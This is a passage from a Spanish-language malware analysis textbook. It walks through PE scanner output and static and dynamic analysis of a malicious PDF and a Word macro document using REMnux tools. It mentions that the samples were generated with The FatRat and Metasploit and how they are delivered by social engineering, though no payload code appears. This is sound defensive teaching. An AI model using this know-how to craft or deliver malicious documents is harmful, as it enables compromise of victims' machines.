vienen normalmente de la red interna a los hosts externos, puesto a que esta muestra de
malware opera de forma local, buscará al host que fue previamente configurado para
establecer la conexión con el malware.

Dejando en claro el porqué de estas anomalías encontradas durante la inspección de nuestra

muestra de malware, pasemos a la última parte de los resultados de “ExeScan”. Saber cuáles son
todas o algunas de las API´s que hace uso algún programa malicioso o malware es un dato
importantísimo, ya que las llamadas a las API´s de Windows son algo crítico durante la infección,
ya que estas trabajan con objetos existentes en código, lo cual lleva a su ejecución de estas, por
ello, los analistas buscan patrones de uso de API´s para identificar actividad sospechosa. En el
último “Banner” de reporte, indica las API´s detectadas durante el análisis:
288
 Imagen 5.72: API´s usadas por el malware.

De las API´s detectadas como comúnmente usadas por malware nos encontramos con 2
secciones, “Import Table” y “Entire Executable”.

Import Table:

 GetProcAddress: Esta función se utiliza para recuperar la dirección de una función en

una DLL cargada en la memoria. Esto se utiliza para importar funciones de otros DLL
además de las funciones importadas en el encabezado del archivo PE.

 GetTickCount: Esta devuelve el número de milisegundos que el sistema ha estado activo,

hasta un máximo de 50 días, aproximadamente. Los programas pueden utilizar este valor
para determinar cuánto tiempo ha estado ejecutando un sistema y tomar decisiones
basadas en ese valor.

 GetStartupInfoA: Esta función se utiliza para recuperar una estructura que contiene
detalles sobre cómo se configuró el proceso actual para ejecutarse.

289
  Sleep: El que software malicioso o malware haga uso de esta API es con la finalidad evadir
los analizadores dinámicos o herramientas de análisis de esta metodología, puesto a
que las herramientas automatizadas de análisis de dinámico sólo gastan una pequeña
cantidad de tiempo en un archivo para que no categoricen el código como perjudicial.

 VirtualProtect: Esta API cambia los permisos de una página en la memoria sin duda.
Seguramente esto termina sin ningún propósito inmediato cuando cualquier proceso en
ejecución es capaz de usarlo, un ejemplo de esto es que alguien podría escribir una pieza
de malware que utiliza la función VirtualProtect con el fin de desviar instrucciones y causar
estragos en el equipo.

Entire Executable:

 GetModuleHandle: Esta función se utiliza para obtener un identificador para un módulo ya

cargado. Es común que el malware usé a la API GetModuleHandle para localizar y
modificar el código en un módulo cargado o para encontrar un lugar bueno para inyectar
código malicioso.

 GetProcAddress: Esta función se utiliza para recuperar la dirección de una función en

una DLL cargada en la memoria. Esto se utiliza para importar funciones de otros DLL
además de las funciones importadas en el encabezado del archivo PE.

 GetTickCount: Esta devuelve el número de milisegundos que el sistema ha estado activo,

hasta un máximo de 50 días, aproximadamente. Los programas pueden utilizar este valor
para determinar cuánto tiempo ha estado ejecutando un sistema y tomar decisiones
basadas en ese valor.

 GetStartupInfoA: Esta función se utiliza para recuperar una estructura que contiene
detalles sobre cómo se configuró el proceso actual para ejecutarse .

290
  Sleep: El que software malicioso o malware haga uso de esta API es con la finalidad evadir
los analizadores dinámicos o herramientas de análisis de esta metodología, puesto a
que las herramientas automatizadas de análisis de dinámico sólo gastan una pequeña
cantidad de tiempo en un archivo para que no categoricen el código como perjudicial.

 VirtualProtect: Esta API cambia los permisos de una página en la memoria sin duda.
Seguramente esto termina sin ningún propósito inmediato cuando cualquier proceso en
ejecución es capaz de usarlo, un ejemplo de esto es que alguien podría escribir una pieza
de malware que utiliza la función VirtualProtect con el fin de desviar instrucciones y causar
estragos en el equipo.

Durante esta demostración con “ExeScan” nos dimos a la tarea de utilizar este script o herramienta
para analizar el comportamiento de una muestra de malware ejecutada, en donde nos arrojaron
resultados de este “Behavioral Analysis”, como lo fueron las API’s que usa el malware para
funcionar, anomalías o actividades sospechosas en el malware, direcciones de instrucciones
ejecutadas en donde se revela actividad sospechosa, etc.

Como último detalle, al finalizar el análisis, vemos que nuestra muestra base ha sido renombrada
con el HASH MD5 proporcionado y convertido a un archivo “.bin”, también vemos que se creó un
nuevo directorio con los mismos caracteres o “nombre” que el HASH MD5:

Imagen 5.73: Reemplazo por archivo .bin y nuevo folder.

En este directorio se encuentran 2 archivos .TXT, uno almacena la información que se nos arrojó
mediante línea de comandos, el cual básicamente se trata de un reporte, y el otro contiene todos

291
los Strings que existen dentro del malware, haciendo una función similar a “BinText”, cada que se
haga un análisis ocurrirá esto y se generarán estos 2 files:

Imagen 5.74: Files referentes a los resultados.

NOTA: Es recomendable abrir este file con “SciTE Text Editor” ya que otras aplicaciones no
visualizan todo el contenido, como pueden ser las secciones, listado de API’s, etc.

292
Imagen 5.75 y 5.76: Resultados del análisis y Strings extraidos.

293
Behavioral Analysis con PEScanner.

Durante la demostración anterior se ejemplificó el uso de “ExeScan”, en donde encontramos

diferentes anomalías en un PE mediante el análisis dinámico. Ahora, pasemos a hacer uso de una
herramienta con una finalidad semejante, aquí es en donde entra “PEScanner”.

Al igual que “ExeScan” o “[Link]”, “PEScanner” es un analizador de archivos ejecutables o

binarios que también está escrito en Python.

¿Qué tiene este script para nosotros?

PEScanner puede encontrar y detectar:

 Niveles o valores altos de entropía en ciertas secciones del PE.

 Entry Points sospechosos
 Entradas TLS
 Metadatos acerca del binario.
 Entradas sospechosas hacia IAT (Internet Access Tables).
 Hashes MD5 y SHA-1

Su modo de uso es incluso más simple que el de “ExeScan” (Si, aun se puede más), solo basta
con colocar a un lado de la herramienta el nombre o la ubicación exacta del PE, con la sintaxis
siguiente: [pescanner/[Link]] [Binario/Directorio del binario].

Imagen 5.77 y 5.78: Comando para PEScanner y su sintaxis.

294
Aquí asumimos que estas en el mismo directorio que antes, ahora seleccionaremos el PE
“[Link]”, el que está construido en Powershell (PSH), ejecutaremos el comando y
quedaremos a la espera del resultado del análisis, puede tomar unos segundos

Terminado el análisis podemos ver los resultados, en donde al igual que “ExeScan”, se muestran
los resultados por secciones y Banners.

 Lo primero que vemos es un Banner que indica con cual file estamos trabajando (PE).
 Lo segundo es una sección nombrada “Meta-data”, que es exactamente eso, metadatos
acerca del PE o muestra de malware, en donde nos indica el Tamaño del archivo en bytes,
el tipo de file (PE/Executable), la arquitectura (32-64 bits), los hashes MD5/SHA1, los
valores de “ssdeep” e “imphash”, la fecha de creación apuntando a una dirección, el
lenguaje compilado no lo puede deducir (aunque existen herramientas para saberlo) los
valores CRC (esperados y actuales) y por último el Entry Point del programa.

¿Qué es el ssdeep e imphash?

Ssdeep es un programa para calcular hashes por pieza o computing context triggered piecewise
hashes (CTPH). También se le conoce como fuzzy hash, CTPH puede coincidir con las entradas
que tienen homologías. Un ejemplo de uso práctico de fuzzy hashing durante investigaciones
forenses cuando los analistas de malware desean comparar archivos desconocidos con familias
de malware conocidas.

Una manera de rastrear backdoors es mediante el rastreo de los imports de los portátiles
ejecutables (PE). Las imports son las funciones que una pieza de software (en este caso, malware)
llama desde otros archivos (normalmente varias DLL que proporcionan funcionalidad a Windows).
Para realizar un seguimiento de estas importaciones, se crea un hash basado en los nombres de
API y su orden específica dentro del archivo ejecutable. A esto se refiere el término "imphash"
(para "import hash"). Debido a la forma en que se genera la tabla de importación del PE, podemos
usar el valor “imphash” para identificar muestras de malware relacionadas. También se puede
usar para buscar muestras nuevas y similares que el mismo grupo de amenazas haya creado y
utilizado.
295
 Imagen 5.79: Metadatos extraídos por PEScanner.

Más abajo nos encontramos con 2 columnas, una nombrada “Offset” y otra “Instructions”.

 Offset: Hace referencia a la dirección de un valor.

 Instructions: Son las instrucciones que ejecuta el software, representadas en lenguaje
ensamblador, vemos que está indicado el tipo de instrucción y en algunos renglones la
dirección a la que apuntan.

Imagen 5.80 y 5.81: Offsets e Instrucciones.

296
También podemos ver que nos encontramos de nuevo con las devoluciones de llamada por TLS,
las cuales apuntan a 2 direcciones diferentes; como se comentó antes, son punto de entrada
es un campo en el encabezado o “Header” del PE que almacena la dirección de la primera
instrucción en el programa que se supone que Windows ejecuta:

Imagen 5.82: Llamadas de devolución TLS.

Algo qué obviamente notarás, es que nos encontramos de nuevo con un Banner nombrado
“Sections”, el cual nos arroja información bastante parecida a como sucedió con el ejercicio
anterior, solo que ahora tenemos cosas nuevas, vemos que existe una columna llamada “Raw
Size”, esto simplemente son datos que no han sido procesados para su uso; es el producto final
del procesamiento de datos.

Encontramos también una columna con Hashes MD5, y también una columna indicando los
niveles o valores de entropía de cada sección. Al final se encuentran 4 notas indicando que cierta
Sección es “Sospechosa”, entre ellas se encuentra la de TLS y .BSS, la cual aloja instrucciones
que se ejecutan al correr el programa.

Imagen 5.83: Secciones sospechosas.

297
Más abajo vemos al Banner “Imports”, el cual solo nos arroja 2 “entries” o datos:

 [Link]: [Link] gestiona la memoria, las operaciones de entrada / salida y

las interrupciones. Al iniciar Windows, [Link] se carga en un espacio de memoria
protegida para que otros programas no lo toquen, sin embargo, puede aprovecharse para
agregar persistencia de malware al equipo.
 [Link]: Se trata de un archivo .dll que se inicia automáticamente cuando los programas
corren. Por ende, puede supervisar o manipular todos los arranques de los programas
en Windows.

Imagen 5.84: importaciones hechas por el Binario.

Por último, vemos un listado acerca de llamadas sospechosas de “Internet Alert Tables”, la
sección de alertas IAT se encarga de describir cómo se comporta el programa en tiempo de
ejecución: se importan funciones relacionadas con API’s que realizan modificaciones en el equipo,
podrás notar que hay algunas que ya nos encontramos y mencionamos, otras qué no, como
“TerminateProcess” y “UnhandledExceptionFilter”.

Imagen 5.85: Entradas sospechosas por IAT.

Al igual que con las API´s, estas llamadas en específico hacen que el script las tome como
sospechosas luego de analizar su comportamiento ya que ponen a trabajar procesos que son
tomados como anomalías para un binario con ese código.
298
Análisis estático y dinámico hacia documentos maliciosos.

En muchísimas ocasiones la gente se encentra con archivos de extensión “pdf, .doc, .ppt, .xlsm”,
los cuales como ya sabes son documentos, ya sea de lectura u hojas de cálculo, estos son usados
a diario, a todas horas, por todos. Por esta misma razón, son un medio bastante viable para hacer
llegar malware a un equipo Windows (o de otra plataforma), ya que pueden traer consigo virus o
troyanos bastante perjudiciales, desde los que solo tienen la finalidad de filtrar teclas pulsadas,
hasta conseguir la administración remota. Existen muchas herramientas y formas para crear
malware con esta faceta, tanto como solo camuflarlo con íconos y extensiones, como hacer un
“embedding” para que el malware funcione en conjunto con la visualización y lectura del archivo.
Para tu suerte también hay un número significante de herramientas o “toolkits” que te permitirán
hacer análisis a un archivo del que sospeches, mostrando resultados significativos que pueden
ayudarte a esclarecer tu duda si es maligno o benigno el archivo al que sometes a estudio.

Para esta primera demostración de este tipo, trabajaremos con un archivo de extensión .pdf el
cual contiene un payload que al momento de su ejecución comprometerá aquel equipo que cuente
con S.O Windows. Esta muestra de malware viene proporcionada en el directorio
“Executables”, la manera en la que se construyó fue mediante el uso del framework “The FatRat”,
el cual nos permite crear payloads que hacen evasión de antivirus. Las siguientes opciones fueron
utilizadas para la creación de este PDF malicioso:

299
 Imagen 5.86, 5.87 y 5.88: Elaboración de archivo PDF con payload oculto en el.

NOTA: El modo de uso de “The FatRat” se explica mucho más a detalle en nuestro libro COISP
Nivel 1, las imágenes anteriores te servirán para saber qué cómo fue qué se creó el PDF.

Ahora que ya tienes tu muestra de malware (proporcionada o creada), es momento de que hagas
tu primera aproximación, para esto utilizaremos a “AnalyzePDF”, que es una herramienta que
sirve de apoyo para saber si un archivo con extensión “.pdf” es benigno o perjudicial, esto te lo
puede decir por Rangos o niveles de amenaza, como se puede ver en plataformas de escaneo o
frameworks. Puedes descargarlo desde su repo oficial en “GitHub” usando el comando “git clone”:

Imagen 5.89: Descarga de “AnalyzePDF”.

300
Al hacerlo se descargará y habrá un nuevo directorio con su nombre, quedando así el “Path”:
“/home/remnux/AnalyzePDF”, dentro se hallan los scripts para hacer uso de la herramienta:

Imagen 5.90: Archivos que constituyen a “AnalyzePDF”.

La sintaxis o modo de uso es simple, se coloca seguido de “[Link]” el directorio o Path

del archivo a analizar y se pone en función la herramienta:

Imagen 5.91: Modo de uso de “AnalyzePDF” y ejecución de comando.

Hecho lo anterior, podemos ver que nos arroja los resultados del análisis que se acaba de hacer
hacia el archivo seleccionado, podemos ver obtenemos un Hash SHA-256, vemos que hay un
valor que indica que se JavaScript lleva a cabo una inyección al momento de la ejecución del
PDF, así como también acciones “Open” y “Launch”, también indica que hay un valor de uno en
“Embedded File”, esto nos quiere decir que se encontró al payload que se encargaría de
comprometer el equipo en donde se ejecute. Al final de estos renglones vemos los valores de
entropía, la razón por la que se arrojan estos valores de entropía es que este documento PDF
malicioso tiene un payload cargado lo suficientemente comprimido para mostrar esta
aleatoriedad. Para un archivo PDF normal, espere que los valores de entropía dentro y fuera de
los streams estén cerca del valor máximo 8.0. Esto significa que la distribución de los valores de
bytes es cercana a la aleatoriedad, lo cual es característico de los cifrados o comprimidos.

Imagen 5.92: Resultados arrojados por “AnalyzePDF”.

301
Al último vemos una comparación entre el nivel de severidad que existe en “AnalyzePDF” y el
nivel de severidad que existe en el PDF, la cual resulta ser la misma que el promedio y total, por
lo que obviamente, representa una amenaza, de riesgo nivel medio (para este archivo).

NOTA: YARA, sirve para hacer comparaciones con firmas o “Signatures” de diferentes AV´s, en
base a lo que exista en YARA, se puede verificar aquí (y también en muchas otras herramientas
para hacer análisis de malware), como no proporcionamos ningún Path con estas firmas, no hubo
comparación.

Imagen 5.93: Score de los resultados y deducción.

En el ejercicio anterior, relativamente obtuvimos lo que queríamos, que era saber si era perjudicial
o no el archivo .PDF que sometimos al análisis, del cual obtuvimos resultados en donde pudimos
ver diferentes anomalías que distinguen de la arquitectura restante del archivo. El análisis que se
hizo simple y no tan completo, es momento de ir más allá de solo saber un nivel de riesgo.

Como previamente se mencionó, el que se consiga la ejecución de un archivo malicioso con

extensión .PDF puede resultar en algo bastante peligroso, ya que como también se demostró,
gracias al “Embedding” podemos cargar un archivo .PDF legítimo con alguna pieza de software
malicioso para que ambos trabajen en conjunto, así un atacante puede aprovecharse de esto y
así poder llevar a cabo la inyección de código arbitrario.

Muchos de los ataques que son observados, tratan de abusar de este vector alojando archivos
PDF maliciosos en Internet. Como podrás suponer el modus operandi involucrado fue el uso de
ingeniería social, mediante técnicas que consisten en engañar o convencer a un usuario de
realizar la apertura de este archivo PDF. Una de las maneras es enviar a los usuarios un email con
un enlace a un archivo PDF o adjuntando el archivo PDF malicioso, o cualquier forma imaginativa
de hacer llegar a las víctimas el archivo y conseguir su ejecución de este.

302
Volviendo a lo de la siguiente demostración, la herramienta que se utilizará ahora nos permitirá ver
un panorama mucho más extenso de lo que existe dentro de esta muestra de malware o de algún
otro archivo con extensión PDF, en donde lejos de solo saber objetos malicioso y un nivel de
amenaza, también vemos el porqué de estas alertas o actividades sospechosas y que las
constituyen para sean categorizadas de esta forma, y así puedas hacer un análisis más a fondo
de un muestra de malware de este tipo.

Aquí es donde aparece “Pdfxray_lite”, la cual hace un análisis dinámico al archivo proporcionado
y genera un reporte de los resultados, sin demostrarlos en la terminal de comandos, ya que ahí
solo arrojará un hash. Pdfxray_lite ya viene incluido en REMnux, y es una excelente
herramienta para analizar archivos o muestras de este tipo, entre lo que tiene para ofrecernos se
encuentra:

 La obtención de diferentes hashes (MD5, SHA-1 / SHA-26)

 La creación o generación de un reporte bastante completo en donde fácilmente podemos
hallar los objetos sospechosos o anomalías en el archivo.

El comando para invocarlo y mostrar su modo de uso es “pdfxray_lite.py –h”.

Vemos el modo de uso o sintaxis, la cual es muy simple, solo basta con invocar al script, indicar el
Path hacia el propio archivo a analizar o al directorio que lo contiene e indicar al final la generación
de un reporte con los resultados obtenidos, la sintaxis siguiente:

[pdfxray_lite.py] [--file] [Path] [--r REPORT].

303
Al ejecutarse el comando anterior, se llevará a cabo el análisis hacia el file indicado y guardará los
resultados en un archivo con extensión .HTML (puede tomar unos minutos).

Vemos que al ejecutar el comando solamente obtenemos un Hash, este hash es el identificador
para el reporte generado por “Pdfxray_lite”, el cual reside en el directorio “/home/remnux/”:

Teniéndolo ubicado, abrimos el file y nos mostrará el contenido de este reporte (puede tomar unos
segundos).

Al cargarse, podemos ver la primera sección de resultados en donde encontramos información

general sobre el archivo PDF, como lo son Hashes de tipo MD5, SHA1 y SHA-256, la cabecera
del file y el tamaño de este en “bytes:

Imagen 5.94: Información general acerca del file.

304
También vemos una lista del orden de los objetos existentes en el file, así como su número de
offset y los bytes de info que contienen, aquí hubo un total de 342 objetos:

Imagen 5.95: Total de objetos junto con sus Offsets.

Vemos que en esta sección también se muestran las versiones del file o archivo PDF en el cual
se creó originalmente, del cual podemos sacar información como lo es (o fue) el autor, creador,
productor, fecha de creación o modificación si es posible, en este caso aparece Word 2007
para la versión 0, para la versión 1, no hay resultados, son metadatos perdidos:

Imagen 5.96: Resultados sobre versiones del documento.

305
Pasando a algo más interesante, a cierta altura del contenido del reporte nos encontramos con la
sección de anomalías u “Objetos Sospechosos”, en la cual podremos saber más a detalle sobre
estas anomalías existentes en el file, de las cuales ya tenemos conocimiento gracias al análisis
con la herramienta anterior, ahora, veámoslas más de cerca.

Algo que hace “Pdfxray_lite” es enumerar los objetos y separarlos, en el caso de los
sospechosos podemos ver que el Objeto 1, con número de Offset 54757 con 140 bytes en él.
Vemos que nos muestra un has del “Raw” por cada objeto, también si está cifrado o no. En el
Banner “Suspicious Events” se encuentra “/OpenAction”, si observamos en el Banner “Raw
Data” también vemos como indicio sospechosos a “/OpenAction”, que por cierto fue una acción
que “AnalyzePDF” también encontró:

Imagen 5.97: Objeto sospechoso # 1 y su contenido.

Otro lugar sospechoso en donde también podemos anomalías es el objeto número 3, con el
Offset 54898 y 360 bytes. Vemos su Hash para el “Raw Data” y que tampoco está cifrado, el
evento sospechoso es “/AA” (Additional Action como se vio en “AnalyzePDF”), esto lo que hace
es indicarle código o script malicioso que inicie automáticamente.

Imagen 5.98: Objeto sospechoso # 3 y su contenido.

306
Un objeto sospechoso más que veremos es el número 341, con Offset 54043 y 118 bytes en él.
Al igual que en los otros 2 objetos anterior, vemos que este tampoco está cifrado, en el
“Suspicious Actions” vemos a “/JS y JavaScript”, así como en “Raw Data” vemos la acción que
lleva a cabo, vemos que se encuentra la acción “nLaunch”, que también vimos en los resultados
del análisis hecho con “AnalyzePDF”. Las ejecuciones de código por JavaScript son bastante
perjudiciales, en este caso se hace uso de el para la ejecución del payload:

Imagen 5.99: Objeto sospechoso # 341 y su contenido.

Un último objeto sospechoso al que le daremos un vistazo es al objeto número 341, Offset 54043
con 118 bytes. Dentro de “Raw Data” vemos una rutina de ejecución de acciones, las cuales tiene
que ver con CMD en Windows o Powershell, que como quizás recuerdes; código en Powershell
era parte de la construcción del payload en “The FatRat”. La acción de ejecución de éste código
la podemos donde vemos en “Suspicious Actions” a “/Launch”, la cual es una acción que
especifica “lanzar”/iniciar un programa o abrir un documento en este caso, al llevarse a cabo esta
acción invocará el abrir el documento o visualizarlo, lo que servirá como detonador la ejecución
del payload en Powershell que viene dentro, esperando el momento del estallido:

Imagen 5.100: Objeto sospechoso # 342 y su contenido.

307
Pdfxray_lite genera un reporte muy bien estructurado sobre los resultados e interpretaciones del
análisis, como el separar las secciones entre objetos sospechosos y todos los objetos en total.
Cabe mencionar que las anomalías, objetos, acciones y eventos sospechosos no solo puedes
encontrarlos separado, sino también en la sección de conteo total de objetos, la diferencia es que
estos no cambian de color aunque existan anomalías en ellos:

Imagen 5.101 - 5.103: Objetos sospechosos y su contenido en sección del total de objetos.

308
Durante los ejercicios anteriores se ejemplificaron diferentes formas en las que se puede saber
con certeza si un archivo con extensión .PDF es benigno o perjudicial, desde saber atributos
sospechosos de este y el nivel de riesgo que se le considera, hasta saber con exactitud los objetos
sospechosos y anomalías existentes dentro de este, en donde se encontraban acciones y eventos
no comunes o que levantaban sospecha para las herramientas de estudio, así como también
encontramos rutinas ejecución de código malicioso, que como ya sabíamos se trataba del payload
hecho en Powershell que hace el trabajo de comprometer al equipo, ahora, es momento de pasar
a otra variante del malware de este tipo.

Otra forma bastante común en la que se puede lograr vulnerar o comprometer un equipo, es
mediante el uso de documentos de Microsoft Office que traen “Macros” consigo. Lo qué esto
hace es realizar la inyección de código en .NET al momento de la apertura o edición de un
archivo de éste tipo.

El malware “cargado” dentro de un macro es un virus informático que utiliza el lenguaje de

programación macro de una aplicación para distribuirse. Estos macros tienen el potencial de infligir
daños al documento o a otro software de computadora. Este malware puede infectar archivos de
Word, así como cualquier otro archivo una extensión que sea perteneciente a la paquetería de
Office.

A diferencia de los virus del sistema operativo, los virus de macros no infectan los programas;
Infectan documentos y plantillas. Cuando se abre un documento o una plantilla que contiene
malware de macro, al momento de la infección, este se extiende a otros documentos y
plantillas. Algunos virus de macro son molestos pero no dañinos; Otros pueden ser muy
destructivos.

El vector de ataque es la ingeniería social, por lo que se puede obtener un archivo infectado a
través de cualquiera de las siguientes maneras:

 Descargar un archivo a través de Internet o una intranet y abrir el archivo.

 Compartir archivos en disco.
 Compartir archivos en una red.
 Abrir un archivo adjunto de correo electrónico.

309
Dentro del material proporcionado, viene una muestra de malware de este tipo, la cual es un
documento de Microsoft Office Word (.doc) que contiene un virus de macro. Al igual que en los
ejercicios anteriores, se demostrará la manera en la que se creó/generó este virus.

El medio para generarlo fue Metasploit Framework, el cual se mencionó durante el capítulo 3, la
forma en la que se creó fue utilizando el exploit “office_word_macro”.

NOTA: Este proceso de elaboración es opcional, ya que la muestra de malware viene incluida en
el directorio ya conocido, en el caso de que quieras intentar la elaboración por tu cuenta, la distro
utilizada para esto fue “Kali Linux”, dentro, simplemente se ingresó al Framework, se seleccionó
el modulo del exploit y se configuró de la siguiente manera:

Imagen 5.104 y 5.105: Configuración de exploit generador de macros infectadas.

Al ejecutar el comando “run” se realiza el proceso de elaboración del archivo .doc con macro
maliciosa, en donde pasa por la creación de un archivo “.docm”, un proceso de “Packing” en
donde se van cargando las diferentes funciones que permitirán la inyección de código malicioso
en el equipo ejecutor de este archivo. Al terminar el proceso de elaboración, el archivo de salida
se encontrará en el directorio “/root/.msf4/local/”, como lo indica la imagen:

310
 Imagen 5.106: Elaboración de archivo malicioso.

Teniendo entendido el cómo generar archivos con macros maliciosas desde el Framework de
Metasploit, es momento de pasar a analizar la muestra que ya tenemos.

Para eso, usaremos una herramienta llamada Mraptor (Macro Raptor). Mraptor es una
herramienta que está diseñada para detectar la mayoría de las macros maliciosas hechas en
VBA, esto se consigue usando heurística genérica.

A diferencia de los antivirus, no depende de las firmas, en pocas palabras, Mraptor detecta las
palabras clave correspondientes a los tres siguientes tipos de comportamiento que están
presentes en texto claro en casi cualquier programa malicioso de macros, Mraptor considera que
una macro es sospechosa cuando A y (W o X) son verdaderas (true):

A: desencadenador o detonador de ejecución automática.

W: Escribir en el sistema de archivos o en la memoria (escritura en el disco duro).
X: Ejecutar un archivo o cualquier payload fuera del contexto de VBA.

311
Estando en REMnux, lo invocamos ejecutando el comando “mraptor” para ver su modo de uso
e información acerca de él, como pueden ser los formatos admitidos:

Imagen 5.107: Usage de Mraptor.

312
Como podemos ver en las imágenes, el modo de uso es bastante sencillo, ya que como también
habrás visto a lo largo del capítulo la sintaxis de las herramientas de CLI es bastante simple, para
analizar un file solo basta con invocar a “Mraptor” y colocar el Path del File, usando la siguiente
sintaxis: [mraptor] [-r] [Path o ubicación del file .doc]:

Imagen 5.108: Resultados arrojados por Mraptor.

En la información que nos arroja Mraptor está una tabla que nos indica el resultado, las banderas
que se colocaron al final de la inspección, el tipo que fue OpX (Open XML) y el file, aquí a pesar
de que especificamos uno solo nos arroja 2 directorios, esto fue porque indicamos con el
parámetro “-r” que buscará más files en los subdirectorios.

En los resultados en donde podemos ver que nos encontramos con anomalías o indicios
sospechosos, así como las banderas A, W y X. Lo cual nos afirma que existe un desencadenador
hacia una ejecución automática, que existen funciones que realizan la escritura en el HDD (disco
Duro) y que se realiza la ejecución de otro archivo dentro del documento (el payload).

Debajo vemos más información acerca de las banderas mostradas y por último vemos el código
de salida o “Exit Code” que es 20, lo cual significa que es sospechoso el file.

Con “Mraptor” hemos confirmado que el archivo que sometimos a su análisis se trata de uno
perjudicial y dañino, ya que nos mostró en cual componente del file en donde reside la total
sospecha, pero esto no quiere decir que sea lo único malo que hay dentro, veamos más a fondo.

Al comienzo del capítulo se comentó que la metodología del análisis estático trata de visualizar
el código de alguna muestra de malware y estudiarla de diferentes formas, es por ello que
ahora haremos una aproximación de este tipo.

313
Como también se mencionó en las páginas anteriores, los macros traen consigo código en .NET/
Visual Basic, el cual se encarga de comprometer al equipo, y muchísimos documentos con macros
maliciosos traen consigo código VBA o .NET, sabiendo esto, usaremos una herramienta enfocada
a realizar específicamente lo que buscamos con esta macro en VBA, hacerle un análisis estático
y ver qué es lo que trae consigo y en donde encontrar los objetos o elementos sospechosos de
cierto componente que presenta anomalías, aquí es en donde aparece “Olevba”.

Olevba es un script hecho en Python que tiene la finalidad para analizar archivos OLE y
OpenXML tales como documentos de MS Office como lo es Word, Excel, PowerPoint entre
otros, esto con el objetivo de detectar macros en VBA, extraer su código fuente en texto claro
y detectar patrones relacionados con seguridad; como lo son macros auto-ejecutables, palabras
clave VBA sospechosas utilizadas en el malware, técnicas anti-sandboxing y anti-virtualización,
posibles IOCs (direcciones IP, URL, nombres de archivos ejecutables, etc.). También detecta y
decodifica varios métodos de ofuscación comunes incluyendo codificación Hex, StrReverse,
Base64, Dridex, expresiones VBA, y extrae IOCs de cadenas decodificadas.

Entre los formatos con los que puede trabajar se encuentran:

 Archivos de texto que contengan código VBA o VBScript

 Word 97-2003 (.doc, .dot)

 Word 2007+ (.docm, .dotm)

 Excel 97-2003 (.xls)

 Excel 2007+ (.xlsm, .xlsb)

 PowerPoint 2007+ (.pptm, .ppsm)

Teniendo en claro el objetivo de “Olevba”, es momento de comenzar a usarlo. Al igual que las
demás herramientas, esta también bien precargada en REMnux, solo basta con ejecutar el
comando “olevba –h” para ver su modo de uso, el cual es bastante extenso puesto a que tiene
muchísimas funcionalidades. Como el análisis que haremos hacia el file ya conocido será muy
general, solo bastará con invocar a “Olevba” seguido del nombre del file, esto es usando la
siguiente sintaxis: [olevba] [Path del file]. Al hacerlo, rápidamente se mostrarán los resultados y
veremos información como lo son banderas, indicando aquí a “Opx” (Open XML), vemos también

314
en Filename el “Path” del documento. Dejado en FILE encontramos lo mismo, así como el Tipo de
file, que es Open XML.

Imagen 5.109: Detalles acerca del file seleccionado.

Debajo de lo anterior, nos encontramos con la sección en donde se muestran la o las macros
encontradas, en este caso hay 2, una nombrada “[Link]” que se encuentra en
“Word/[Link]”, que es un elemento del documento el cual proporciona un “OLE Stream”
el cual es “VBA/ThisDocument”, la macro está vacía. Después nos encontramos con una macro
más nombrada “[Link]”, la cual se halla en el mismo lugar y contiene el “OLE Stream”
de “/VBA/NewMacros”:

Imagen 5.110: Detalles acerca de macros encontradas.

Justo debajo de eso nos encontramos en texto claro al source code o código fuente de esta macro.
Algo que quizás notes es que comienza con unos condicionantes “If-Else”, en los cuales se
declara la ejecución de ciertas funciones, así como una apertura automática.

Imagen 5.111: Condicionantes y apertura automática.

315
Debajo vemos otros “If-Else”, en estos condicionantes se tomará la decisión de la ejecución de
código para cierta plataforma, si es Mac OSX o si es Windows:

Imagen 5.112: Declaraciones If-Else acerca de ejecución de código para Windows o Mac.

Otra sección interesante que podemos encontrar en el código es esta de aquí; Lo que vemos abajo
es una subrutina de ejecución de código en el caso de que el “If-Else” fuese correcto acerca de
Windows, en donde claramente podemos ver que un script hace ciertas modificaciones, como lo
son declaraciones y el comienzo de un proceso de escritura en el HDD del equipo Windows
en donde se ejecute esta macro maliciosa.

Imagen 5.113: Rutina de ejecución de código en Windows.

El último bloque que revisaremos de este código fuente es esta sección de “Decoding” o de
decodificación; aquí podemos ver que este bloque de código se encarga de decodificar un String
“64-based”. Entre los comentarios que existen podemos ver referencias acerca de esto, vemos
que “Const Base64” contiene caracteres comunes, en UpperCase y LowerCase, así como
números, estos caracteres serán aquellos que serán aceptados en el contenido decodificado, solo
estos caracteres podrán mostrarse. Debajo en los 3 renglones donde se repite “base64String”
vemos que su funcionalidad de estos es el reemplazo de caracteres, (que es lo que hace el proceso
de decodificación):

316
 Imagen 5.114: Proceso de “Decoding” o decodificación.

Por último, al final de los resultados arrojados al terminar el análisis por “Olevba” podremos ver
una tabla con 3 columnas: “Type, “Keyword” y “Description”.

 Type: Es el tipo de alerta que se encontró en el código.

 Keyword: Es la palabra clave relevante a la anomalía encontrada en código.
 Description: Es un descripción relevante al tipo de alerta hallada y la palabra clave
referente a ella.

Entre las anomalías más interesantes nos encontramos con la del primer renglón, la de tipo “Auto
ejecutable”, la cual inicia cuando el documento de Word se abre.

Otras son las del 3er al 6to renglón, en donde nos indica que se lleva a cabo la ejecución de
comandos en CMD y en Powershell o la ejecución de otro file (como también se vio en los
resultados durante el análisis del PDF).

Del séptimo renglón al noveno, vemos una rutina de creación de objetos/archivos y escritura
o modificaciones en el HDD, lo cual es algo común que las macros maliciosas hagan para crear
persistencia en el equipo:

317
 Imagen 5.115 y 5.116: Tabla de anomalías encontradas.

Como se vio en esta demostración, “Olevba” resultó ser de gran utilidad para hacer análisis
estático hacia una muestra de malware que contiene macros maliciosas, teniendo como resultado
la mejor interpretación del comportamiento de esta pieza de software malicioso; que es lo que
contiene, como está estructurado, que lo constituye, como es que funciona, que es lo que hace,
como lo hace, que modifica, en donde lo modifica, etc.

Por último, usaremos una plataforma de análisis estático y dinámico para hacerla una última
inspección a esta muestra de malware, una ventaja de estos servicios online es que estos
implementan “Sandboxing” para sus inspecciones estáticas o dinámicas, (al igual que REMnux
ya lo trae consigo para los análisis).

318
La plataforma de la que se habla es “QuickSand”, en esta plataforma se puede hacer Submit de
diferentes archivos o muestras de malware para su inspección, similares las del ejercicio anterior.
Analizar documentos de oficina sospechosos para detectar ejecutables o exploits incrustados. Su
finalidad es la de encontrar ejecutables maliciosos cifrados, y así mismo mejorar su detección de
malware o amenazas nuevas y emergentes con tasas de detección de AV tradicionalmente bajas.

Puedes entrar al sitio desde el siguiente URL: [Link]

Imagen 5.117: Sitio de QuickSand.

Estando en el sitio web, solo basta con cargar o hacer Submit del archivo o documento malicioso
